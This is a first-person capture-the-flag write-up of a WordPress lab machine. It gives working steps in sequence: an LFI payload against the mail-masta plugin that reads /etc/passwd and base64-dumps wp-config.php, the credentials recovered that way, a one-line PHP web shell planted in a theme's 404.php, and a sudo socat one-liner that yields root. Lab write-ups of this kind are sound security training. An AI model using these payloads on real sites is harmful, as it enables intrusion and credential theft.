CTF: ALL in ONE

This was my first time documenting a CTF and i did a bad job of it..

Did a Nmap scan and found ssh, apache and ftp:

```
—(kali㉿kali)-[~/Desktop] └─$ nmap -A -p- -Pn -T4 10.48.131.77 Starting Nmap 7.95 ( https://nmap.org )
at 2025-12-01 09:11 EST Nmap scan report for 10.48.131.77 Host is up (0.035s latency). Not shown:
64065 closed tcp ports (reset), 1467 filtered tcp ports (no-response) PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.146.168
| Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 |
Control connection is plain text | Data connections will be plain text | At session startup, client count
was 2 | vsFTPd 3.0.5 - secure, fast, stable |_End of status |_ftp-anon: Anonymous FTP login allowed (FTP
code 230) 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-
hostkey: | 3072 e3:bf:5e:ea:18:20:bb:fa:31:f4:dc:d9:68:fd:70:a6 (RSA) | 256
e4:da:48:c8:86:e3:40:31:80:c2:45:85:4b:f5:dc:ca (ECDSA) |_ 256
84:6e:80:6e:c1:4f:24:6a:24:a3:0e:66:31:e2:52:47 (ED25519) 80/tcp open http Apache httpd 2.4.41
((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It
works Device type: general purpose Running: Linux 4.X OS CPE: cpe:/o:linux:linux_kernel:4.15 OS details:
Linux 4.15 Network Distance: 3 hops Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 43211/tcp) HOP RTT ADDRESS 1 34.28 ms 192.168.128.1 2 ... 3 34.37 ms
10.48.131.77 OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1582.38 seconds
```

The ssh was secure the ftp was annonymous user only, when I connected with it it opened a empty area. SO the only option left was with Web application.

The webpage was nothing fancy just the apache default page.
Did a nikto scan for the webpage: nikto -h http://<Ip>

```
—(kali㉿kali)-[~/Desktop] └─$ nikto -h http://10.48.131.77 - Nikto v2.5.0 -----------------------------------------
---------------------------------- + Target IP: 10.48.131.77 + Target Hostname: 10.48.131.77 + Target Port: 80 +
Start Time: 2025-12-01 09:38:30 (GMT-5) ------------------------------------------------------------------------ +
Server: Apache/2.4.41 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-
Type-Options header is not set. This could allow the user agent to render the content of the site in a
different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-
scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force
check all possible dirs) + Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54).
Apache 2.2.34 is the EOL for the 2.x branch. + /: Server may leak inodes via ETags, header found with file
/, inode: 2aa6, size: 5b0f1b4359fd1, mtime: gzip. See: http://cve.mitre.org/cgi-
```

```
bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: HEAD, GET, POST,
OPTIONS . + /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin
'Tested up to' version usually matches the WordPress version. + /wordpress/wp-links-opml.php: This
WordPress script reveals the installed version. + /wordpress/wp-admin/: Uncommon header 'x-redirect-
by' found, with contents: WordPress. + /wordpress/: Drupal Link header found with value:
<http://10.48.131.77/wordpress/index.php/wp-json/>; rel="https://api.w.org/". See:
https://www.drupal.org/ + /wordpress/: A Wordpress installation was found. + /wordpress/wp-
login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + /wordpress/wp-content/uploads/:
Directory indexing found. + /wordpress/wp-content/uploads/: Wordpress uploads directory is
browsable. This may reveal sensitive information. + /wordpress/wp-login.php: Wordpress login found. +
ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout):
Operation now in progress + Scan terminated: 18 error(s) and 14 item(s) reported on remote host + End
Time: 2025-12-01 09:49:41 (GMT-5) (671 seconds) ---------------------------------------------------------------
```

It showed the web aplication was running on wordpress. So then did a wpscan with command:

```
(kali㉿kali)-[~/Desktop] └─$ wpscan --url http://10.48.131.77/wordpress --enumerate u,ap,vt,tt,cb,dbe
_________________________________________________________________ __ ________ ______ \ \/ /
__ \ / ____| \ \/\ / /| |__) | (___ ___ __ _ _ __ ® \ V V / | ___/ \___ \ / __|/ _ | '_ \ \/\ / | | ____) |
(__| (_| | | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team
Version 3.8.28 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_________________________________________________________________ [i] Updating the
Database ... [i] Update completed. [+] URL: http://10.48.131.77/wordpress/ [10.48.131.77] [+] Started:
Mon Dec 1 09:54:00 2025 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.41
(Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be
enabled: http://10.48.131.77/wordpress/xmlrpc.php | Found By: Direct Access (Aggressive Detection) |
Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | -
https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | -
https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | -
https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | -
https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+]
WordPress readme found: http://10.48.131.77/wordpress/readme.html | Found By: Direct Access
(Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled:
http://10.48.131.77/wordpress/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) |
Confidence: 100% [+] The external WP-Cron seems to be enabled: http://10.48.131.77/wordpress/wp-
cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | -
https://www.iplocation.net/defend-wordpress-from-ddos | -
https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.5.1 identified (Insecure,
released on 2020-09-01). | Found By: Rss Generator (Passive Detection) | -
http://10.48.131.77/wordpress/index.php/feed/,
<generator>https://wordpress.org/?v=5.5.1</generator> | -
http://10.48.131.77/wordpress/index.php/comments/feed/,
<generator>https://wordpress.org/?v=5.5.1</generator> [+] WordPress theme in use: twentytwenty |
Location: http://10.48.131.77/wordpress/wp-content/themes/twentytwenty/ | Last Updated: 2025-04-15T00:00:00.000Z | Readme: http://10.48.131.77/wordpress/wp-content/themes/twentytwenty/readme.txt | [!] The version is out of date, the latest version is 2.9 |
Style URL: http://10.48.131.77/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5 | Style
Name: Twenty Twenty | Style URI: https://wordpress.org/themes/twentytwenty/ | Description: Our
default theme for 2020 is designed to take full advantage of the flexibility of the block editor... | Author:
the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive
Detection) | | Version: 1.5 (80% confidence) | Found By: Style (Passive Detection) | -
http://10.48.131.77/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5, Match: 'Version:
1.5' [+] Enumerating All Plugins (via Passive Methods) [+] Checking Plugin Versions (via Passive and
Aggressive Methods) [i] Plugin(s) Identified: [+] mail-masta | Location:
http://10.48.131.77/wordpress/wp-content/plugins/mail-masta/ | Latest Version: 1.0 (up to date) | Last
Updated: 2014-09-19T07:52:00.000Z | | Found By: Urls In Homepage (Passive Detection) | | Version:
1.0 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | -
http://10.48.131.77/wordpress/wp-content/plugins/mail-masta/readme.txt [+] reflex-gallery | Location:
http://10.48.131.77/wordpress/wp-content/plugins/reflex-gallery/ | Latest Version: 3.1.7 (up to date) |
Last Updated: 2021-03-10T02:38:00.000Z | | Found By: Urls In Homepage (Passive Detection) | |
Version: 3.1.7 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | -
http://10.48.131.77/wordpress/wp-content/plugins/reflex-gallery/readme.txt [+] Enumerating
Vulnerable Themes (via Passive and Aggressive Methods) Checking Known Locations - Time: 00:00:05
<==============================================================> (652 / 652) 100.00% Time:
00:00:05 [+] Checking Theme Versions (via Passive and Aggressive Methods) [i] No themes Found. [+]
Enumerating Timthumbs (via Passive and Aggressive Methods) Checking Known Locations - Time:
00:00:20 <=============================================================> (2575 / 2575)
100.00% Time: 00:00:20 [i] No Timthumbs Found. [+] Enumerating Config Backups (via Passive and
Aggressive Methods) Checking Config Backups - Time: 00:00:01
<===============================================================> (137 / 137) 100.00% Time:
00:00:01 [i] No Config Backups Found. [+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:00
<=====================================================================> (75 / 75) 100.00%
Time: 00:00:00 [i] No DB Exports Found. [+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00
<================================================================> (10 / 10) 100.00% Time:
00:00:00 [i] User(s) Identified: [+] elyana | Found By: Author Posts - Author Pattern (Passive Detection) |
Confirmed By: | Rss Generator (Passive Detection) | Wp Json Api (Aggressive Detection) | -
http://10.48.131.77/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id
Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [!]
No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API
token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Mon Dec 1
```

```
09:54:33 2025 [+] Requests Done: 3513 [+] Cached Requests: 8 [+] Data Sent: 1.013 MB [+] Data Received: 23.421 MB [+] Memory used: 315.207 MB [+] Elapsed time: 00:00:32
```

It revealed the username i.e elyana and use of plugin called mail masta with has a very known lfi vulneralbility:

Used :

http://10.48.156.74/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

and it worked.

Then went on to do

http://10.48.156.74/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://filter/convert.base64-encode/resource=../../../../../wp-config.php

which converted the wp-config.php to base64 and showed it in the screen.

Converted the string from base64 and bingo there was a username and password for the wordpress login page.

Username: elyana

Password: H@ckme@123

Went to the wordpress dashboard -> theme editor and edited the 404.php to include a simple php reverse shell:

```
<?php system($_GET['cmd']); ?>
```

then went to url:

http://10.48.182.53/wordpress/wp-content/themes/twentytwenty/404.php?cmd=ls

And it worked:

I then moved to a more sophisticated reverse shell from:

https://github.com/s-r-e-e-r-a-j/PHP-REVERSE-SHELL/blob/main/reverse_shell.php

managed to get shell then I tried to locate user.txt and it was easy but I was not permitted to open it.

There was a hint that password to the system was somewhere in the system. So tried using find:

```
find / -user elyana -type f 2>&1 | grep -v "Permission"
```

Found a file with username and password:

Username: elyana

Password: E@syR18ght

```
:su elayana worked
```

So went to ssh

Found the user.txt

Now for root.txt.
Command: sudo -l
It revealed that the user elyana can use sudo command socat without any need for password.
Went to : https://gtfobins.github.io/gtfobins/socat/

```
Sudo socat stdin exec:/bin/sh
```

provided a root level shell
And found the root.txt there